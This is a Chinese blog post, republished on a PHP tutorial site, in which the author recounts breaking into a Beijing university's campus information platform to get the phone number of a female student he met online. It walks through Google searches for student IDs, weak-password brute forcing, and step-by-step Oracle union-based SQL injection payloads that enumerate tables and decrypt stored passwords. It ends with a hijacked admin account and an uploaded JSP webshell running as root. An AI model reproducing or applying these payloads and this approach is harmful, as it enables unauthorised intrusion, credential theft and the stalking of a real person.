网站地图    收藏   

主页 > 后端 > 网站安全 >

Oracle注入渗透北京某大学校园信息平台 - 网站安

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 网上不经意认识了一个女生,因其可爱和至纯,竟生出心动的感觉来。原本以为,自己到了现在的年龄,是不会再因一个女生而心动的,然而若非遇见了,或许你永远都不知道自己将会...

网上不经意认识了一个女生,因其可爱和至纯,竟生出心动的感觉来。

原本以为,自己到了现在的年龄,是不会再因一个女生而心动的,

然而若非遇见了,或许你永远都不知道自己将会在感情中变成什么样子。

有点跑题了,下面开始说正题。

1.目的

此次渗透测试,主要目的是拿到学妹的手机号码。

也许有人会问:手机号你直接问她不就行了吗?为什么还要费那么大力气,自己去拿?

之所以这样做,是基于一个认识:太容易得到的东西,人类是不懂得珍惜的。

我选择通过技术上的方法拿到手机号码,让认识她的这个过程,可以变得更长,也更艰难一些。

2. 目标初探

因为知道她的名字和所在学校,

我首先以 姓名 + 学校网站 作为关键词,在Google上检索她的个人信息:

\

请注意此处的语法,名字一定需要用双引号包围起来,表明该字符串不需要分析和解释,并且要100%匹配的。

site:XXXX.edu.cn是她所在学校的网站。这里不要加www,指明检索所有的子域名。

通过Google,我找到了她的学号。

另外,还得到一个附加的消息,她入学体检没有合格,因为太瘦了!

当时有些心疼她,很想叫她多吃一些饭,保护好自己身体。(注:这是一个标准屌丝的表现... ...)

一旦拿到学号,后面能做的事情就比较多了。

根据自己以往的经验,我开始寻找类似教务平台的系统,因为在这样的服务器上,多半都保存有学生的基本信息。

最终,我找到了该校校园信息平台:

3。进入校园信息平台

如何进入校园平台,成了眼前第一个门槛。

我已经有了她的学号,但此处有验证码,如果直接针对目标学妹张SWEET进行暴力破解,

将非常困难,需要自己编写验证码识别模块,且效率低下,爆破成功率也低。

我的想法是,先随便找个同学的帐号,进入校园信息平台看看里面到底有哪些信息,再做下一步打算。

在Google中通过如下关键词进行搜索:学校网站  + 获奖 + 学号

这样一来,我就可以找到上百个同学的学号了。

以上语法中,site用于指定学校网站,filetype用于指定文档格式为Excel文档,

老师们喜欢把获奖名单整理到Excel表格中,而该文件又会透露出类似学号、生日这样的基本信息。

拿到这批学号后,我写了个暴力破解小程序,

它自动载入一批学号并采用弱口令尝试登录,我只需要手工输入验证码。

在尝试了大约30个同学后(十几分钟时间),终于找到一位以12345678作为密码的同学!

随后,我使用该同学的帐号进入了校园信息平台,

也清楚地知道,校园信息平台上有比较完整的个人信息,有我想要的电话号码!

我将目标锁定到校园信息平台。

4. 找到Oracle注射点

进入校园信息平台后,我开始寻找常见漏洞,在一个展现新闻的页面,找到了一个数字型的Oracle注射漏洞!

在一个带数字参数的URL后加上单引号',出现了经典错误提示!

错误提示表明:单引号没能正确闭合!且根据错误信息,可知对方使用Oracle作为数据库服务器(ORA-01756)。

在URL后添加" and 1=1",页面显示正常,

换成" and 1=2",页面出现错误,提示NULL,确认该处是一个数字型注射:

带明确错误提示的注射,相对而言要轻松很多,

接着,我把这个注入点放入工具Pangolin中跑了一圈,得到如下数据:

1. 几个Oracle用户的Hash

2. 数据库服务器IP地址是192.168.X.X  被屏蔽在局域网中

3. 猜解了当前用户的全部数据表,但是,非常非常地遗憾,并没有存储敏感信息(例如帐号)的数据表!

将这些数据库用户的Hashes放到Cain中,使用几个字典文件进行暴力破解,成功了若干!

这说明,管理员安全意识真的。。。很不高!

破解出几个Oracle帐号后,我开始思考如何去查询这些用户的表!

它们所拥有的表中,很可能保存了“帐号”等关键信息!

但因为数据库服务器位于局域网中,我无法直接访问。

我开始尝试利用类似MS SQL的跨库查询。

Oracle可以跨库查询吗?在网上检索了对应的资料,发现是可以的,但需要先利用db_link建立链接,

有了用户的密码,确实可以建立链接,但因为自己并不了解如何在Oracle中实现多行执行,

建立db link成了一个难题,此时,思路中断了。。。

因为自己对Oracle了解太少,我暂时放弃了这个注射点。

5. 找到关键突破口

放弃一个注射点,多少让我觉得有些不甘,在一些极限环境中,它可能成为自己唯一可以找到的弱点。。。

放弃也就意味着全部放弃了。

不过还好这里并不是极限环境,随后,我开始在其他地方寻找突破口,

引用一句很装逼的话,叫“功夫不负有心人”,我竟然又发现了一个注射点!

这次,是一个字符型的注入。

在URL后面添加单引号',提示数据库读取错误;

添加 ' and '1'='1,页面正常显示了;

添加' and '1'='2 ,页面依然正常;

这表明,存在注射漏洞,但查询结果并不直接影响页面显示。

通常说来,把这个注射点拿到工具里面跑一会儿,就搞定一切了。

不过很遗憾,该页面需要先登录才可以访问,而绝大多数注入工具,并没提供浏览器让我们先登录再注入。

所以,我选择了艰难的手工注射。

一开始是猜column数,分别在URL后添加如下内容:

' order by 10--   报错,说明列的个数在10个以下

order by用于指定排序方式,

order by 10的意思,是按照第10列的内容进行排序;

而报错了,说明该数据表不存在第10列,换句话说,就是小于列的个数小于10

' order by 5--  折半后,继续报错

' order by 3--  正常显示

' order by 4-- 正常显示

那么,可以得出结论,列的个数是4。尝试union查询:

' and 1=2 union select NULL,NULL,NULL,NULL from dual--

页面正常现实,确定了是4列。

' and 1=2的作用是,让前一个子查询结果为空,

这样我们便可以在第二个select子查询中,检索到自己想要的内容,并放入最终查询结果中,让web服务器返回过来。

继续改变注入语句:

' and 1=2 union select '111','222','333','444' from dual--

页面正常显示,此时确定所有的列都是varchar类型,

并且,此时在页面上出现了标志字符串111。

如此一来,我们就可以非常方便地构造和查询自己想要的内容了!

通过改变'111'为自己想要的子查询即可:

得到当前Oracle用户:

' and 1=2 union select SYS_CONTEXT ('USERENV', 'CURRENT_USER'),'222','333','444' from dual--

结果是个好消息! 跟上一个数字型注射点的用户名不一样。

这是一个更隐蔽的注射点,直觉告诉我,可能是存在敏感信息的!

接着是猜列表名和列名,这是通过查询系统表user_tables和user_tab_columns来实现的。

查询列名中包含PASSWORD关键字的数据表:

' and 1=2 union select  (select table_name from user_tab_columns where column_name like '%PASSWORD%' and rownum=1),'222','333','444' from dual--

user_tab_columns表中,存放了各个表里面都有哪些列。

请注意,由于table_name和columun_name都是以大写存储在该表中,请一定使用大写的PASSWORD(此处大小写敏感)。

后面的rownum=1,是只提取第一条结果,对于oracle是必须的,请不要忽略这个细节。

显示在页面上的内容即一个列名中含有PASSWORD的数据表。

上面只显示了第一个含有PASSWORD关键字的数据表,那如何查其他表呢?

首先,用不等号<>排除的方法是可以实现的,例如,这里我得到第一个表的名字是DRM_SYS_DATASOURCE

我只要在查询中排除DRM_SYS_DATASOURCE就可以了,构造SQL语句如下:

' and 1=2 union select  (select table_name from user_tab_columns where column_name like '%PASSWORD%' and table_name <> 'DRM_SYS_DATASOURCE'and rownum=1),'222','333','444' from dual--

一个一个排除,我们就可以猜出所有的表来了,但是,如果排除的表太多,每次都添加排除条件,是很麻烦的。

所以,就有第二个方法,即:利用子查询来遍历多条记录:

构造如下SQL语句:

' and 1=2 union select (select tn from (select rownum r,table_name tn from user_tab_columns where column_name like '%PASSWORD%')tb where r=1),'222','333','444' from dual--

最内的一个括号内,我创建了一个子查询,从user_tab_columns中检索出所有的列名中含PASSWORD的表,

rownum别名是r, table_name别名是tn,查询得到的临时表名为tb。也就是说,

通过select rownum r,table_name tn from user_tab_columns where column_name like '%PASSWORD%',我得到了一个名叫tb的表,它的内容是类似这样的:


 
r
 
    tn
 
1
 
     admin
 
2
 
    users
 
3
 
    ...
 

 

然后,我们从子查询得到的表中依次检索tn的内容。设置r=后面数字的值,则可检索到其他表的名字了,

这是稍微麻烦一点的地方。

让我无语凝噎的是,通过查找PASSWORD,依然没能找到存放用户信息的地方。。。

不过我并没有放弃,继续通过查找字段中含有PSW关键字的table,终于发现了存放用户信息的XXX_PERSON表!

在猜解所有列的名称时,需要构造如下注入语句:

' and 1=2 union select (select cn from (select rownum r,column_name cn from user_tab_columns where table_name = 'XXX_PERSON')tb where r=1),'222','333','444' from dual--

通过一个一个猜解,大致了解了表的结构,PSN_ACCOUNT是用于存放用户名的,PSN_PSW用于存放密码。

因为知道学妹的学号,我直接去查找她的密码,构造SQL语句:

' and 1=2 union select PSN_PWD,'2','3',NULL from XXXX_PERSON where PSN_ACCOUNT='2011XXXX'--

哈哈,终于出现了密码。。。但是,且慢:

无法让人淡定~~ 密码。。。 已经被加密过了。。。

再进一步不淡定,对方也并未采用通用的加密方法,例如MD5

不过对于一个屌丝中的战斗屌丝,我还得再坚持一会儿才行。。。

所以,抱着一丝希望,我遍历了当前用户所有的函数,构造SQL 语句:

' and 1=2 union select (select object_name from user_objects where object_type='FUNCTION' and rownum=1),'2','3',NULL from dual--

第一个function就是XXXXXX_DECODE!我莫名欣喜,死马当做活马医,测试用该函数解密学妹的密码:

' and 1=2 union select XXXXXX_decode(PSN_PWD),'2','3',NULL from XXXX_PERSON where PSN_ACCOUNT='2011XXXX'--

此时,人品大爆发,我终于看到了学妹的明文密码。

靠猜解出一个函数的名字,并使用该函数成功解密PASSWORD,实则运气成分已经非常高了!

使用学妹的学号、密码,登录到校园信息平台,终于看到了她可爱的照片:

至此。我的目的已经达到,拿到了她的手机号。 :)

然而渗透既然已经到了这一步,不再继续做些收尾工作,是有些遗憾的。

我继续猜解了管理员的密码,构造:

' and 1=2 union select XXXXXX_decode(PSN_PWD),'2','3',NULL from ORG_PERSON where PSN_ACCOUNT='root'--

出错,说明不存在用户root,再换成admin,

' and 1=2 union select XXXXXX_decode(PSN_PWD),'2','3',NULL from XXXX_PERSON where PSN_ACCOUNT='admin'--

终于出现了明文密码。

换了管理员的帐号登录到系统,在一个信息发布的地方找到了上传页面:

尝试上传JSP木马,弹出消息框,提示文件类型非法。

但这个判断是在本地使用javascript来完成的, 用啊D编写的IE恶搞迷来修改浏览器页面中的内容,将button修改成submit,

成功上传JSP木马。进去之后,发现web服务是以root运行的!I'm root then.

6. 后记

拿到学妹张SWEET手机号码的过程异常艰辛。但它同时也给我带来了许多快乐。

出于一些考虑,我并没有给她发短讯,或者打电话。

也许,我会把这份美好放在心底里。

我们本来就是两个世界的人,我在西安,而她在北京。

她毕业后应该会出国,而我,随后大概会去一家IT公司当民工。

所以,我们的命运轨迹本来就是越走越远的。

撒由那娜,张SWEET!

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论